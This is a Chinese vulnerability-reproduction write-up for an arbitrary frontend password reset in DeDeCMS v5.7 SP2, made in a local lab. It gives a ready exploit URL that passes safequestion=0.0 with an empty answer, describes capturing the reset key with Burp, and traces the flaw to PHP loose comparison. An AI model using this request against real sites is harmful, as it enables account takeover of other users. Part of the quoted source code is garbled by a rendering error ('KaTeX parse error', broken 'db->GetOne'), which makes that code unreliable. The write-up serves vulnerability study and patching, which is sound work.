DeDeCMS v5.7 SP2 前台任意用户密码修改漏洞复现
一、漏洞概述
1.简介
织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2.漏洞限制
1、 只影响前台账户
2、 只能修改未设置安全问题的账户
3.影响版本
DeDeCMSV5.7SP2 正式版(2018-01-09)
二、环境搭建
1.下载DeDeCMS v5.7 SP2源码
实验环境:window 10
php5.6+mysql
三、复现过程
开启会员功能,注册一个一个账号且不要设置安全问题,因为这个漏洞的基础就是没有安全问题
另外还发现注册时不对电子邮箱进行检测
记住该用户uid=2
127.0.0.1/dedeCMS5.7/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
直接使用bp抓包,可以得到key
得到的key就是这里的临时验证码,输入即可直接修改密码
源码分析
else if($dopost == “safequestion”)
{
$mid = preg_replace("#[^0-9]#", “”, $id);
KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";
$row = d b − > G e t O n e ( db->GetOne(db−>GetOne(sql);
if(empty($safequestion)) $safequestion = ‘’;
if(empty($safeanswer)) $safeanswer = ‘’;
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)
{
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");
exit();
}
}
#就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)
{
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}